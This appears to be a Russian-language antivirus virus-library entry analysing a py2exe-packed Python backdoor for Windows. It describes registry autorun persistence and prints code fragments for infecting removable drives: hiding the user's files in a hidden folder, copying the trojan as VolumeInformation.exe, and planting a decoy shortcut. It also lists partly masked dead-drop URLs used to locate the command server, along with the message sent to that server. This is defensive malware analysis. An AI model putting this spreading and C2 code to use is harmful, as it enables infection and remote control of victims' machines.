SHA1:
- 05cae95a3340395e363c2d6bddbc57833dbdb85c
Бэкдор для ОС Windows, написанный на языке Python. Содержит упакованную утилиту py2exe.
Установка
- Если имя файла не совпадает с 'mscore.exe', создает свою копию в папке All Users\Application Data\NetFramework\ с именем mscore.exe.
- Регистрирует себя в автозагрузке: если имеются права администратора — в ветви реестра [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run], иначе — в ветви [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run].
- Завершает выполнение сценария и ожидает перезагрузки системы.
Распространение
- Пытается заразить съемные носители с именами от C до Z:
for letter in 'CDEFGHIJKLMNOPQRSTUVWXYZ': drive = u'{}:\\'.format(letter) if bitmask & 1 and ctypes.windll.kernel32.GetDriveTypeW(drive) == 2: mounted_letters = subprocess.Popen('wmic logicaldisk where deviceid="%s:" get Size' % letter, startupinfo = startupinfo, stdout = subprocess.PIPE, stderr = subprocess.STDOUT, stdin = subprocess.PIPE) length = mounted_letters.stdout.readlines()[1].strip() if not length.isdigit(): continue volume_name_buffer = ctypes.create_unicode_buffer(1024) ctypes.windll.kernel32.GetVolumeInformationW(drive, volume_name_buffer, ctypes.sizeof(volume_name_buffer), None, None, None, None, None)
- Cоздает скрытую директорию:
hidden_folder = os.path.join(drive, unichr(160)) if not os.path.exists(hidden_folder): os.mkdir(hidden_folder) ctypes.windll.kernel32.SetFileAttributesW(hidden_folder, 2)
- Сохраняет собственную копию с именем VolumeInformation.exe:
destination_file_path = os.path.join(drive, 'VolumeInformation.exe') if not os.path.exists(destination_file_path): shutil.copyfile(sys.argv[0], destination_file_path) ctypes.windll.kernel32.SetFileAttributesW(destination_file_path, 2)
- В корневой папке диска создает ссылку вида <имя тома>.lnk (либо Removable Disk.lnk), которая ведет на вредоносный исполняемый файл VolumeInformation.exe:
ctypes.windll.kernel32.GetVolumeInformationW(drive, volume_name_buffer, ctypes.sizeof(volume_name_buffer), None, None, None, None, None) if len(volume_name_buffer.value) == 0: lnk_name = 'Removable Disk' else: lnk_name = volume_name_buffer.value
- Перемещает файлы, отличные от .lnk, VolumeInformation.exe и .vbs, в ранее созданную скрытую папку:
for content in os.listdir(drive): if not content.endswith('.lnk') and not content.endswith('.vbs') and 'VolumeInformation' not in content: try: shutil.move(os.path.join(drive, content), hidden_folder) except: continue
Взаимодействие с управляющим сервером
Троянец пытается определить IP-адрес и доступный порт управляющего сервера, отправляя запрос к нескольким серверам в Интернете:
url_list = [
'http://pastebin.com/raw/xf****iX',
'https://docs.google.com/document/d/1kKwT8qwi********Nw1g65CVDLdphA0qs'
'http://notes.io/r***H'
]
Если удалось получить IP-адрес и порт, троянец отсылает на управляющий сервер запрос следующего вида:
GLOBAL_SOCKET.sendall(str({
'mode': 'buildClient',
'from': 'client',
'payload': '{}'.format(MODERATOR), # MODERATOR = "UPX"
'key': '',
'module_id': '',
'session_id': '' }) + '[ENDOFMESSAGE]'
)
В ответ с управляющего сервера загружается сценарий на языке Python, детектируемый как Python.BackDoor.35.